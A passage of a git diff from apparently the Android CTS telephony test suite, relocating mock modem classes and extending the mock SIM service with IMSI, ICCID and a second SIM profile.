+ case RILConstants.NETWORK_MODE_NR_LTE_WCDMA:
+ rat = ServiceState.RIL_RADIO_TECHNOLOGY_NR;
+ break;
+ case RILConstants.NETWORK_MODE_NR_LTE_TDSCDMA:
+ rat = ServiceState.RIL_RADIO_TECHNOLOGY_NR;
+ break;
+ case RILConstants.NETWORK_MODE_NR_LTE_TDSCDMA_GSM:
+ rat = ServiceState.RIL_RADIO_TECHNOLOGY_NR;
+ break;
+ case RILConstants.NETWORK_MODE_NR_LTE_TDSCDMA_WCDMA:
+ rat = ServiceState.RIL_RADIO_TECHNOLOGY_NR;
+ break;
+ case RILConstants.NETWORK_MODE_NR_LTE_TDSCDMA_GSM_WCDMA:
+ rat = ServiceState.RIL_RADIO_TECHNOLOGY_NR;
+ break;
+ case RILConstants.NETWORK_MODE_NR_LTE_TDSCDMA_CDMA_EVDO_GSM_WCDMA:
+ rat = ServiceState.RIL_RADIO_TECHNOLOGY_NR;
+ break;
+ default:
+ rat = ServiceState.RIL_RADIO_TECHNOLOGY_UNKNOWN;
+ break;
+ }
+ return rat;
+ }
+
+ public android.hardware.radio.network.OperatorInfo getPrimaryCellOperatorInfo() {
+ android.hardware.radio.network.OperatorInfo operatorInfo =
+ new android.hardware.radio.network.OperatorInfo();
+
+ if (mCsRegState == RegState.REG_HOME || mPsRegState == RegState.REG_HOME) {
+ operatorInfo = getCarrierStatus(mHomeCarrierId).getPrimaryCellOperatorInfo();
+ } else if (mCsRegState == RegState.REG_ROAMING || mPsRegState == RegState.REG_ROAMING) {
+ operatorInfo = getCarrierStatus(mRoamingCarrierId).getPrimaryCellOperatorInfo();
+ }
+
+ return operatorInfo;
+ }
+
+ public android.hardware.radio.network.CellIdentity getPrimaryCellIdentity() {
+ android.hardware.radio.network.CellIdentity cellIdentity =
+ android.hardware.radio.network.CellIdentity.noinit(true);
+
+ if (mCsRegState == RegState.REG_HOME || mPsRegState == RegState.REG_HOME) {
+ cellIdentity = getCarrierStatus(mHomeCarrierId).getPrimaryCellIdentity();
+ } else if (mCsRegState == RegState.REG_ROAMING || mPsRegState == RegState.REG_ROAMING) {
+ cellIdentity = getCarrierStatus(mRoamingCarrierId).getPrimaryCellIdentity();
+ }
+
+ return cellIdentity;
+ }
+
+ public android.hardware.radio.network.CellInfo[] getCells() {
+ ArrayList<android.hardware.radio.network.CellInfo> cellInfos = new ArrayList<>();
+
+ for (MockModemCell mmc : mCellList) {
+ CellInfo[] cells = mmc.getCells();
+ if (cells != null) {
+ for (CellInfo cellInfo : cells) {
+ cellInfos.add(cellInfo);
+ }
+ }
+ }
+
+ return cellInfos.stream().toArray(android.hardware.radio.network.CellInfo[]::new);
+ }
+
+ public boolean updateHighestRegisteredRat(int raf) {
+
+ int rat = mHighRat;
+ mHighRat = getHighestRatFromNetworkType(raf);
+
+ return (rat == mHighRat);
+ }
+
+ public void updateNetworkStatus(int reason) {
+ if (reason == NETWORK_UPDATE_PREFERRED_MODE_CHANGE) {
+ Log.d(TAG, "updateNetworkStatus: NETWORK_UPDATE_PREFERRED_MODE_CHANGE");
+ // TODO
+ }
+ }
+
+ public int getRegistrationRat() {
+ int rat = android.hardware.radio.RadioTechnology.UNKNOWN;
+
+ if (mCsRegState == RegState.REG_HOME || mPsRegState == RegState.REG_HOME) {
+ rat = getCarrierStatus(mHomeCarrierId).getPrimaryCellRat();
+ } else if (mCsRegState == RegState.REG_ROAMING || mPsRegState == RegState.REG_ROAMING) {
+ rat = getCarrierStatus(mRoamingCarrierId).getPrimaryCellRat();
+ }
+
+ return rat;
+ }
+
+ public android.hardware.radio.network.SignalStrength getSignalStrength() {
+ android.hardware.radio.network.SignalStrength signalStrength =
+ new android.hardware.radio.network.SignalStrength();
+
+ if (mCsRegState == RegState.REG_HOME || mPsRegState == RegState.REG_HOME) {
+ signalStrength = getCarrierStatus(mHomeCarrierId).getPrimaryCellSignalStrength();
+ } else if (mCsRegState == RegState.REG_ROAMING || mPsRegState == RegState.REG_ROAMING) {
+ signalStrength = getCarrierStatus(mRoamingCarrierId).getPrimaryCellSignalStrength();
+ } else {
+ // TODO
+ }
+
+ return signalStrength;
+ }
+
+ public int getRegistration(int domain) {
+ if (domain == android.hardware.radio.network.Domain.CS) {
+ return mCsRegState;
+ } else {
+ return mPsRegState;
+ }
+ }
+
+ public boolean isInService() {
+ return ((mCsRegState == RegState.REG_HOME)
+ || (mPsRegState == RegState.REG_HOME)
+ || (mCsRegState == RegState.REG_ROAMING)
+ || (mPsRegState == RegState.REG_ROAMING));
+ }
+
+ public void updateSimPlmn(String simPlmn) {
+ mSimPlmn = simPlmn;
+
+ // Reset mHomeCarrierId and mRoamingCarrierId
+ mHomeCarrierId = MOCK_CARRIER_NO_SERVICE;
+ mRoamingCarrierId = MOCK_CARRIER_NO_SERVICE;
+
+ if (mSimPlmn == null || mSimPlmn.isEmpty()) return;
+
+ if (mCellList.isEmpty()) return;
+
+ for (MockModemCell mmc : mCellList) {
+
+ if (isHomeCellExisted() && isRoamingCellExisted()) break;
+
+ // Find out which cell is Home cell
+ for (String plmn : mmc.mEHPlmnList) {
+ if (!isHomeCellExisted() && mSimPlmn.equals(plmn)) {
+ mHomeCarrierId = mmc.getCarrierId();
+ Log.d(TAG, "Cell ID: Home Cell " + mHomeCarrierId);
+ }
+ }
+
+ // Find out which cell is Home cell
+ for (String plmn : mmc.mAllowRoamingList) {
+ if (!isRoamingCellExisted() && mSimPlmn.equals(plmn)) {
+ mRoamingCarrierId = mmc.getCarrierId();
+ Log.d(TAG, "Cell ID: Roaming Cell " + mRoamingCarrierId);
+ }
+ }
+ }
+ }
+
+ /**
+ * Set the device enters IN SERVICE
+ *
+ * @param isRoaming boolean true if the camping network is Roaming service, otherwise Home
+ * service
+ * @param inService boolean true if the deviec enters carrier coverge, otherwise the device
+ * leaves the carrier coverage.
+ */
+ public void setServiceStatus(boolean isRoaming, boolean inService) {
+ if (isRoaming) {
+ mIsRoamingCamping = inService;
+ } else {
+ mIsHomeCamping = inService;
+ }
+ }
+
+ public boolean getIsHomeCamping() {
+ return mIsHomeCamping;
+ }
+
+ public boolean getIsRoamingCamping() {
+ return mIsRoamingCamping;
+ }
+
+ public boolean isHomeCellExisted() {
+ return (mHomeCarrierId != MOCK_CARRIER_NO_SERVICE);
+ }
+
+ public boolean isRoamingCellExisted() {
+ return (mRoamingCarrierId != MOCK_CARRIER_NO_SERVICE);
+ }
+
+ public void updateServiceState(int reg) {
+ Log.d(TAG, "Cell ID: updateServiceState " + reg);
+ switch (reg) {
+ case RegState.NOT_REG_MT_SEARCHING_OP:
+ mCsRegState = RegState.NOT_REG_MT_SEARCHING_OP;
+ mPsRegState = RegState.NOT_REG_MT_SEARCHING_OP;
+ break;
+ case RegState.REG_HOME:
+ mCsRegState = RegState.REG_HOME;
+ mPsRegState = RegState.REG_HOME;
+ break;
+ case RegState.REG_ROAMING:
+ mCsRegState = RegState.REG_ROAMING;
+ mPsRegState = RegState.REG_ROAMING;
+ break;
+ case RegState.NOT_REG_MT_NOT_SEARCHING_OP:
+ default:
+ mCsRegState = RegState.NOT_REG_MT_NOT_SEARCHING_OP;
+ mPsRegState = RegState.NOT_REG_MT_NOT_SEARCHING_OP;
+ break;
+ }
+
+ // TODO: mCsRegState and mPsReState may be changed by the registration denied reason set by
+ // TestCase
+
+ for (MockModemCell mmc : mCellList) {
+ boolean registered;
+ if ((mCsRegState == RegState.REG_HOME || mPsRegState == RegState.REG_HOME)
+ && mHomeCarrierId == mmc.getCarrierId()) {
+ registered = true;
+ } else if ((mCsRegState == RegState.REG_ROAMING || mPsRegState == RegState.REG_ROAMING)
+ && mRoamingCarrierId == mmc.getCarrierId()) {
+ registered = true;
+ } else {
+ registered = false;
+ }
+
+ CellInfo[] cells = mmc.getCells();
+ if (cells != null) {
+ for (CellInfo cellInfo : cells) {
+ cellInfo.registered = registered;
+ }
+ }
+ }
+ }
+
+ public MockModemCell getCarrierStatus(int carrierId) {
+ for (MockModemCell mmc : mCellList) {
+ if (mmc.getCarrierId() == carrierId) return mmc;
+ }
+
+ return null;
+ }
+
+ @Override
+ public String toString() {
+ return "isInService():" + isInService() + " Rat:" + getRegistrationRat() + "";
+ }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/MockSimService.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockSimService.java
similarity index 68%
rename from tests/tests/telephony/current/src/android/telephony/cts/MockSimService.java
rename to tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockSimService.java
index 2e43c54..8183925 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/MockSimService.java
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockSimService.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.telephony.cts;
+package android.telephony.mockmodem;
import android.content.Context;
import android.hardware.radio.sim.AppStatus;
@@ -26,6 +26,7 @@
import java.io.InputStream;
import java.util.ArrayList;
+import java.util.Locale;
public class MockSimService {
private static final String TAG = "MockSimService";
@@ -33,7 +34,16 @@
/* Support SIM card identify */
public static final int MOCK_SIM_PROFILE_ID_DEFAULT = 0; // SIM Absent
public static final int MOCK_SIM_PROFILE_ID_TWN_CHT = 1;
- public static final int MOCK_SIM_PROFILE_ID_MAX = 2;
+ public static final int MOCK_SIM_PROFILE_ID_TWN_FET = 2;
+ public static final int MOCK_SIM_PROFILE_ID_MAX = 3;
+
+ /* Type of SIM IO command */
+ public static final int COMMAND_READ_BINARY = 0xb0;
+ public static final int COMMAND_GET_RESPONSE = 0xc0;
+
+ /* EF Id definition */
+ public static final int EF_ICCID = 0x2FE2;
+ public static final int EF_IMSI = 0x6F07;
/* SIM profile XML TAG definition */
private static final String MOCK_SIM_TAG = "MockSim";
@@ -111,7 +121,6 @@
// SIM card data
private int mSimProfileId;
- private String mICCID;
private String mEID;
private String mATR;
private int mUniversalPinState;
@@ -120,6 +129,9 @@
private ArrayList<SimAppData> mSimAppList;
public class SimAppData {
+ private static final int EF_INFO_DATA = 0;
+ private static final int EF_BINARY_DATA = 1;
+
private int mSimAppId;
private String mAid;
private boolean mIsCurrentActive;
@@ -127,12 +139,25 @@
private int mFdnStatus;
private int mPin1State;
private String mImsi;
+ private String mMcc;
+ private String mMnc;
+ private String mMsin;
+ private String[] mIccid;
- public SimAppData(int simappid, String aid, String path) {
+ private void initSimAppData(int simappid, String aid, String path, boolean status) {
mSimAppId = simappid;
mAid = aid;
- mIsCurrentActive = false;
+ mIsCurrentActive = status;
mPath = path;
+ mIccid = new String[2];
+ }
+
+ public SimAppData(int simappid, String aid, String path) {
+ initSimAppData(simappid, aid, path, false);
+ }
+
+ public SimAppData(int simappid, String aid, String path, boolean status) {
+ initSimAppData(simappid, aid, path, status);
}
public int getSimAppId() {
@@ -168,11 +193,53 @@
}
public String getImsi() {
- return mImsi;
+ return mMcc + mMnc + mMsin;
}
- public void setImsi(String imsi) {
- mImsi = imsi;
+ public void setImsi(String mcc, String mnc, String msin) {
+ setMcc(mcc);
+ setMnc(mnc);
+ setMsin(msin);
+ }
+
+ public String getMcc() {
+ return mMcc;
+ }
+
+ public void setMcc(String mcc) {
+ mMcc = mcc;
+ }
+
+ public String getMnc() {
+ return mMnc;
+ }
+
+ public void setMnc(String mnc) {
+ mMnc = mnc;
+ }
+
+ public String getMsin() {
+ return mMsin;
+ }
+
+ public void setMsin(String msin) {
+ mMsin = msin;
+ }
+
+ public String getIccidInfo() {
+ return mIccid[EF_INFO_DATA];
+ }
+
+ public void setIccidInfo(String info) {
+ mIccid[EF_INFO_DATA] = info;
+ }
+
+ public String getIccid() {
+ return mIccid[EF_BINARY_DATA];
+ }
+
+ public void setIccid(String iccid) {
+ mIccid[EF_BINARY_DATA] = iccid;
}
}
@@ -269,8 +336,10 @@
mSimProfileInfoList[idx] = new SimProfileInfo(idx);
switch (idx) {
case MOCK_SIM_PROFILE_ID_TWN_CHT:
- String filename = "mock_sim_tw_cht.xml";
- mSimProfileInfoList[idx].setXmlFile(filename);
+ mSimProfileInfoList[idx].setXmlFile("mock_sim_tw_cht.xml");
+ break;
+ case MOCK_SIM_PROFILE_ID_TWN_FET:
+ mSimProfileInfoList[idx].setXmlFile("mock_sim_tw_fet.xml");
break;
default:
break;
@@ -443,11 +512,69 @@
return idx;
}
- private boolean storeEfData(String aid, String name, String id, String value) {
+ private String[] extractImsi(String imsi, int mncDigit) {
+ String[] result = null;
+
+ Log.d(TAG, "IMSI = " + imsi + ", mnc-digit = " + mncDigit);
+
+ if (imsi.length() > 15 && imsi.length() < 5) {
+ Log.d(TAG, "Invalid IMSI length.");
+ return result;
+ }
+
+ if (mncDigit != 2 && mncDigit != 3) {
+ Log.d(TAG, "Invalid mnc length.");
+ return result;
+ }
+
+ result = new String[3];
+ result[0] = imsi.substring(0, 3); // MCC
+ result[1] = imsi.substring(3, 3 + mncDigit); // MNC
+ result[2] = imsi.substring(3 + mncDigit, imsi.length()); // MSIN
+
+ Log.d(TAG, "MCC = " + result[0] + " MNC = " + result[1] + " MSIN = " + result[2]);
+
+ return result;
+ }
+
+ private boolean storeEfData(
+ String aid, String name, String id, String command, String[] value) {
boolean result = true;
+
+ if (value == null) {
+ Log.e(TAG, "Invalid value of EF field - " + name + "(" + id + ")");
+ return false;
+ }
+
switch (name) {
case "EF_IMSI":
- mSimAppList.get(getSimAppDataIndexByAid(aid)).setImsi(value);
+ if (value.length == 3
+ && value[0] != null
+ && value[0].length() == 3
+ && value[1] != null
+ && (value[1].length() == 2 || value[1].length() == 3)
+ && value[2] != null
+ && value[2].length() > 0
+ && (value[0].length() + value[1].length() + value[2].length() <= 15)) {
+ mSimAppList
+ .get(getSimAppDataIndexByAid(aid))
+ .setImsi(value[0], value[1], value[2]);
+ } else {
+ result = false;
+ Log.e(TAG, "Invalid value for EF field - " + name + "(" + id + ")");
+ }
+ break;
+ case "EF_ICCID":
+ if (command.length() > 2
+ && Integer.parseInt(command.substring(2), 16) == COMMAND_READ_BINARY) {
+ mSimAppList.get(getSimAppDataIndexByAid(aid)).setIccid(value[0]);
+ } else if (command.length() > 2
+ && Integer.parseInt(command.substring(2), 16) == COMMAND_GET_RESPONSE) {
+ mSimAppList.get(getSimAppDataIndexByAid(aid)).setIccidInfo(value[0]);
+ } else {
+ Log.e(TAG, "No valid Iccid data found");
+ result = false;
+ }
break;
default:
result = false;
@@ -471,6 +598,7 @@
XmlPullParser parser = Xml.newPullParser();
InputStream input;
boolean mocksim_validation = false;
+ boolean mocksim_pf_validatiion = false;
boolean mocksim_mf_validation = false;
int appidx = 0;
int fd_lock = 0;
@@ -484,16 +612,15 @@
case XmlPullParser.START_TAG:
if (MOCK_SIM_TAG.equals(parser.getName())) {
int numofapp = Integer.parseInt(parser.getAttributeValue(0));
- String iccid = parser.getAttributeValue(1);
+ mATR = parser.getAttributeValue(1);
Log.d(
TAG,
"Found "
+ MOCK_SIM_TAG
+ ": numofapp = "
+ numofapp
- + " iccid = "
- + iccid);
- mICCID = iccid;
+ + " atr = "
+ + mATR);
mSimApp = new AppStatus[numofapp];
if (mSimApp == null) {
Log.e(TAG, "Create SIM app failed!");
@@ -502,7 +629,8 @@
}
mocksim_validation = true;
} else if (mocksim_validation
- && MOCK_SIM_PROFILE_TAG.equals(parser.getName())) {
+ && MOCK_SIM_PROFILE_TAG.equals(parser.getName())
+ && appidx < mSimApp.length) {
int id = Integer.parseInt(parser.getAttributeValue(0));
int type = convertMockSimAppType(parser.getAttributeValue(1));
mSimApp[appidx] = new AppStatus();
@@ -531,7 +659,9 @@
+ " ("
+ type
+ ")========");
+ mocksim_pf_validatiion = true;
} else if (mocksim_validation
+ && mocksim_pf_validatiion
&& MOCK_PIN_PROFILE_TAG.equals(parser.getName())) {
int appstate = convertMockSimAppState(parser.getAttributeValue(0));
mSimApp[appidx].appState = appstate;
@@ -545,6 +675,7 @@
+ appstate
+ ")");
} else if (mocksim_validation
+ && mocksim_pf_validatiion
&& MOCK_PIN1_STATE_TAG.equals(parser.getName())) {
String state = parser.nextText();
int pin1state = convertMockSimPinState(state);
@@ -559,6 +690,7 @@
+ pin1state
+ ")");
} else if (mocksim_validation
+ && mocksim_pf_validatiion
&& MOCK_PIN2_STATE_TAG.equals(parser.getName())) {
String state = parser.nextText();
int pin2state = convertMockSimPinState(state);
@@ -571,7 +703,9 @@
+ " ("
+ pin2state
+ ")");
+ mSimApp[appidx].pin2 = pin2state;
} else if (mocksim_validation
+ && mocksim_pf_validatiion
&& MOCK_FACILITY_LOCK_FD_TAG.equals(parser.getName())) {
fd_lock = convertMockSimFacilityLock(parser.nextText());
Log.d(
@@ -581,6 +715,7 @@
+ ": fd lock = "
+ fd_lock);
} else if (mocksim_validation
+ && mocksim_pf_validatiion
&& MOCK_FACILITY_LOCK_SC_TAG.equals(parser.getName())) {
sc_lock = convertMockSimFacilityLock(parser.nextText());
Log.d(
@@ -589,7 +724,9 @@
+ MOCK_FACILITY_LOCK_SC_TAG
+ ": sc lock = "
+ sc_lock);
- } else if (mocksim_validation && MOCK_MF_TAG.equals(parser.getName())) {
+ } else if (mocksim_validation
+ && mocksim_pf_validatiion
+ && MOCK_MF_TAG.equals(parser.getName())) {
SimAppData simAppData;
String name = parser.getAttributeValue(0);
String path = parser.getAttributeValue(1);
@@ -609,13 +746,14 @@
+ " path = "
+ path);
} else if (mocksim_validation
+ && mocksim_pf_validatiion
&& !mocksim_mf_validation
&& MOCK_EF_DIR_TAG.equals(parser.getName())) {
SimAppData simAppData;
String name = parser.getAttributeValue(0);
boolean curr_active = Boolean.parseBoolean(parser.getAttributeValue(1));
String aid = parser.nextText();
- simAppData = new SimAppData(appidx, aid, name);
+ simAppData = new SimAppData(appidx, aid, name, curr_active);
if (simAppData == null) {
Log.e(TAG, "Create SIM app data failed!");
result = false;
@@ -639,33 +777,71 @@
+ aid);
mocksim_mf_validation = true;
} else if (mocksim_validation
+ && mocksim_pf_validatiion
&& mocksim_mf_validation
&& MOCK_ADF_TAG.equals(parser.getName())) {
String aid = parser.getAttributeValue(0);
Log.d(TAG, "Found " + MOCK_ADF_TAG + ": aid = " + aid);
adf_aid = aid;
} else if (mocksim_validation
+ && mocksim_pf_validatiion
&& mocksim_mf_validation
&& (adf_aid.length() > 0)
&& MOCK_EF_TAG.equals(parser.getName())) {
String name = parser.getAttributeValue(0);
String id = parser.getAttributeValue(1);
- String value = parser.nextText();
- if (storeEfData(adf_aid, name, id, value)) {
- Log.d(
- TAG,
- "Found "
- + MOCK_EF_TAG
- + ": name = "
- + name
- + " id = "
- + id);
+ String command = parser.getAttributeValue(2);
+ String[] value;
+ switch (id) {
+ case "6F07": // EF_IMSI
+ int mncDigit = Integer.parseInt(parser.getAttributeValue(3));
+ String imsi = parser.nextText();
+ value = extractImsi(imsi, mncDigit);
+ if (value != null
+ && storeEfData(adf_aid, name, id, command, value)) {
+ Log.d(
+ TAG,
+ "Found "
+ + MOCK_EF_TAG
+ + ": name = "
+ + name
+ + " id = "
+ + id
+ + " command = "
+ + command
+ + " value = "
+ + imsi
+ + " with mnc-digit = "
+ + mncDigit);
+ }
+ break;
+ default:
+ value = new String[1];
+ if (value != null) {
+ value[0] = parser.nextText();
+ if (storeEfData(adf_aid, name, id, command, value)) {
+ Log.d(
+ TAG,
+ "Found "
+ + MOCK_EF_TAG
+ + ": name = "
+ + name
+ + " id = "
+ + id
+ + " command = "
+ + command
+ + " value = "
+ + value[0]);
+ }
+ }
+ break;
}
}
break;
case XmlPullParser.END_TAG:
if (mocksim_validation && MOCK_SIM_PROFILE_TAG.equals(parser.getName())) {
appidx++;
+ mocksim_pf_validatiion = false;
mocksim_mf_validation = false;
} else if (mocksim_validation && MOCK_ADF_TAG.equals(parser.getName())) {
adf_aid = "";
@@ -673,7 +849,7 @@
break;
}
}
- Log.d(TAG, "Totally create " + appidx + " SIM profiles");
+ Log.d(TAG, "Totally create " + Math.min(mSimApp.length, appidx) + " SIM profiles");
mSimProfileInfoList[mSimProfileId].setNumOfSimApp(appidx);
input.close();
} catch (Exception e) {
@@ -712,7 +888,6 @@
if (mSimProfileId != MOCK_SIM_PROFILE_ID_DEFAULT) {
switch (mPhysicalSlotId) {
case MOCK_SIM_SLOT_1:
- mATR = "3B9F96801FC78031E073FE2111634082918307900099";
mEID = DEFAULT_SIM1_EID;
break;
case MOCK_SIM_SLOT_2:
@@ -731,19 +906,16 @@
case MOCK_SIM_SLOT_1:
mATR = DEFAULT_SIM1_ATR;
mEID = DEFAULT_SIM1_EID;
- mICCID = DEFAULT_SIM1_ICCID;
mUniversalPinState = DEFAULT_SIM1_UNIVERSAL_PIN_STATE;
break;
case MOCK_SIM_SLOT_2:
mATR = DEFAULT_SIM2_ATR;
mEID = DEFAULT_SIM2_EID;
- mICCID = DEFAULT_SIM2_ICCID;
mUniversalPinState = DEFAULT_SIM2_UNIVERSAL_PIN_STATE;
break;
case MOCK_SIM_SLOT_3:
mATR = DEFAULT_SIM3_ATR;
mEID = DEFAULT_SIM3_EID;
- mICCID = DEFAULT_SIM3_ICCID;
mUniversalPinState = DEFAULT_SIM3_UNIVERSAL_PIN_STATE;
break;
}
@@ -789,12 +961,54 @@
return mEID;
}
+ public boolean setATR(String atr) {
+ // TODO: add any ATR format check
+ mATR = atr;
+ return true;
+ }
+
public String getATR() {
return mATR;
}
+ public boolean setICCID(String iccid) {
+ boolean result = false;
+ SimAppData activeSimAppData = getActiveSimAppData();
+
+ // TODO: add iccid format check
+ if (activeSimAppData != null) {
+ String iccidInfo = activeSimAppData.getIccidInfo();
+ int dataFileSize = iccid.length() / 2;
+ String dataFileSizeStr = Integer.toString(dataFileSize, 16);
+
+ Log.d(TAG, "Data file size = " + dataFileSizeStr);
+ if (dataFileSizeStr.length() <= 4) {
+ dataFileSizeStr = String.format("%04x", dataFileSize).toUpperCase(Locale.ROOT);
+ // Data file size index is 2 and 3 in byte array of iccid info data.
+ iccidInfo = iccidInfo.substring(0, 4) + dataFileSizeStr + iccidInfo.substring(8);
+ Log.d(TAG, "Update iccid info = " + iccidInfo);
+ activeSimAppData.setIccidInfo(iccidInfo);
+ activeSimAppData.setIccid(iccid);
+ result = true;
+ } else {
+ Log.e(TAG, "Data file size(" + iccidInfo.length() + ") is too large.");
+ }
+ } else {
+ Log.e(TAG, "activeSimAppData = null");
+ }
+
+ return result;
+ }
+
public String getICCID() {
- return mICCID;
+ String iccid = "";
+ SimAppData activeSimAppData = getActiveSimAppData();
+
+ if (activeSimAppData != null) {
+ iccid = activeSimAppData.getIccid();
+ }
+
+ return iccid;
}
public int getUniversalPinState() {
@@ -824,4 +1038,132 @@
public ArrayList<SimAppData> getSimAppList() {
return mSimAppList;
}
+
+ public SimAppData getActiveSimAppData() {
+ SimAppData activeSimAppData = null;
+
+ for (int simAppIdx = 0; simAppIdx < mSimAppList.size(); simAppIdx++) {
+ if (mSimAppList.get(simAppIdx).isCurrentActive()) {
+ activeSimAppData = mSimAppList.get(simAppIdx);
+ break;
+ }
+ }
+
+ return activeSimAppData;
+ }
+
+ public String getActiveSimAppId() {
+ String aid = "";
+ SimAppData activeSimAppData = getActiveSimAppData();
+
+ if (activeSimAppData != null) {
+ aid = activeSimAppData.getAid();
+ }
+
+ return aid;
+ }
+
+ private boolean setMcc(String mcc) {
+ boolean result = false;
+
+ if (mcc.length() == 3) {
+ SimAppData activeSimAppData = getActiveSimAppData();
+ if (activeSimAppData != null) {
+ activeSimAppData.setMcc(mcc);
+ result = true;
+ }
+ }
+
+ return result;
+ }
+
+ private boolean setMnc(String mnc) {
+ boolean result = false;
+
+ if (mnc.length() == 2 || mnc.length() == 3) {
+ SimAppData activeSimAppData = getActiveSimAppData();
+ if (activeSimAppData != null) {
+ activeSimAppData.setMnc(mnc);
+ result = true;
+ }
+ }
+
+ return result;
+ }
+
+ public String getMccMnc() {
+ String mcc;
+ String mnc;
+ String result = "";
+ SimAppData activeSimAppData = getActiveSimAppData();
+
+ if (activeSimAppData != null) {
+ mcc = activeSimAppData.getMcc();
+ mnc = activeSimAppData.getMnc();
+ if (mcc != null
+ && mcc.length() == 3
+ && mnc != null
+ && (mnc.length() == 2 || mnc.length() == 3)) {
+ result = mcc + mnc;
+ } else {
+ Log.e(TAG, "Invalid Mcc or Mnc.");
+ }
+ }
+ return result;
+ }
+
+ public String getMsin() {
+ String result = "";
+ SimAppData activeSimAppData = getActiveSimAppData();
+
+ if (activeSimAppData != null) {
+ result = activeSimAppData.getMsin();
+ if (result.length() <= 0 || result.length() > 10) {
+ Log.e(TAG, "Invalid Msin.");
+ }
+ }
+
+ return result;
+ }
+
+ public boolean setImsi(String mcc, String mnc, String msin) {
+ boolean result = false;
+
+ if (msin.length() > 0 && (mcc.length() + mnc.length() + msin.length()) <= 15) {
+ SimAppData activeSimAppData = getActiveSimAppData();
+ if (activeSimAppData != null) {
+ setMcc(mcc);
+ setMnc(mnc);
+ activeSimAppData.setMsin(msin);
+ result = true;
+ } else {
+ Log.e(TAG, "activeSimAppData = null");
+ }
+ } else {
+ Log.e(TAG, "Invalid IMSI");
+ }
+
+ return result;
+ }
+
+ public String getImsi() {
+ String imsi = "";
+ String mccmnc;
+ String msin;
+ SimAppData activeSimAppData = getActiveSimAppData();
+
+ if (activeSimAppData != null) {
+ mccmnc = getMccMnc();
+ msin = activeSimAppData.getMsin();
+ if (mccmnc.length() > 0
+ && msin != null
+ && msin.length() > 0
+ && (mccmnc.length() + msin.length()) <= 15) {
+ imsi = mccmnc + msin;
+ } else {
+ Log.e(TAG, "Invalid Imsi.");
+ }
+ }
+ return imsi;
+ }
}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/IRadioNetworkImpl.java b/tests/tests/telephony/current/src/android/telephony/cts/IRadioNetworkImpl.java
deleted file mode 100644
index c914f79..0000000
--- a/tests/tests/telephony/current/src/android/telephony/cts/IRadioNetworkImpl.java
+++ /dev/null
@@ -1,508 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.telephony.cts;
-
-import android.hardware.radio.RadioError;
-import android.hardware.radio.RadioResponseInfo;
-import android.hardware.radio.network.IRadioNetwork;
-import android.hardware.radio.network.IRadioNetworkIndication;
-import android.hardware.radio.network.IRadioNetworkResponse;
-import android.hardware.radio.network.NetworkScanRequest;
-import android.hardware.radio.network.RadioAccessSpecifier;
-import android.hardware.radio.network.SignalThresholdInfo;
-import android.os.RemoteException;
-import android.util.Log;
-
-public class IRadioNetworkImpl extends IRadioNetwork.Stub {
- private static final String TAG = "MRNW";
-
- private final MockModemService mService;
- private IRadioNetworkResponse mRadioNetworkResponse;
- private IRadioNetworkIndication mRadioNetworkIndication;
-
- public IRadioNetworkImpl(MockModemService service) {
- Log.d(TAG, "Instantiated");
-
- this.mService = service;
- }
-
- // Implementation of IRadioNetwork functions
- @Override
- public void getAllowedNetworkTypesBitmap(int serial) {
- Log.d(TAG, "getAllowedNetworkTypesBitmap");
- int networkTypeBitmap = 0;
- RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
-
- try {
- mRadioNetworkResponse.getAllowedNetworkTypesBitmapResponse(rsp, networkTypeBitmap);
- } catch (RemoteException ex) {
- Log.e(TAG, "Failed to getAllowedNetworkTypesBitmap from AIDL. Exception" + ex);
- }
- }
-
- @Override
- public void getAvailableBandModes(int serial) {
- Log.d(TAG, "getAvailableBandModes");
-
- int[] bandModes = new int[0];
- RadioResponseInfo rsp = mService.makeSolRsp(serial);
- try {
- mRadioNetworkResponse.getAvailableBandModesResponse(rsp, bandModes);
- } catch (RemoteException ex) {
- Log.e(TAG, "Failed to getAvailableBandModes from AIDL. Exception" + ex);
- }
- }
-
- @Override
- public void getAvailableNetworks(int serial) {
- Log.d(TAG, "getAvailableNetworks");
-
- android.hardware.radio.network.OperatorInfo[] networkInfos =
- new android.hardware.radio.network.OperatorInfo[0];
- RadioResponseInfo rsp = mService.makeSolRsp(serial);
- try {
- mRadioNetworkResponse.getAvailableNetworksResponse(rsp, networkInfos);
- } catch (RemoteException ex) {
- Log.e(TAG, "Failed to getAvailableNetworks from AIDL. Exception" + ex);
- }
- }
-
- @Override
- public void getBarringInfo(int serial) {
- Log.d(TAG, "getBarringInfo");
-
- android.hardware.radio.network.CellIdentity cellIdentity =
- new android.hardware.radio.network.CellIdentity();
- android.hardware.radio.network.BarringInfo[] barringInfos =
- new android.hardware.radio.network.BarringInfo[0];
- RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
- try {
- mRadioNetworkResponse.getBarringInfoResponse(rsp, cellIdentity, barringInfos);
- } catch (RemoteException ex) {
- Log.e(TAG, "Failed to getBarringInfo from AIDL. Exception" + ex);
- }
- }
-
- @Override
- public void getCdmaRoamingPreference(int serial) {
- Log.d(TAG, "getCdmaRoamingPreference");
- int type = 0;
- RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
- try {
- mRadioNetworkResponse.getCdmaRoamingPreferenceResponse(rsp, type);
- } catch (RemoteException ex) {
- Log.e(TAG, "Failed to getCdmaRoamingPreference from AIDL. Exception" + ex);
- }
- }
-
- @Override
- public void getCellInfoList(int serial) {
- Log.d(TAG, "getCellInfoList");
-
- android.hardware.radio.network.CellInfo[] cellInfo =
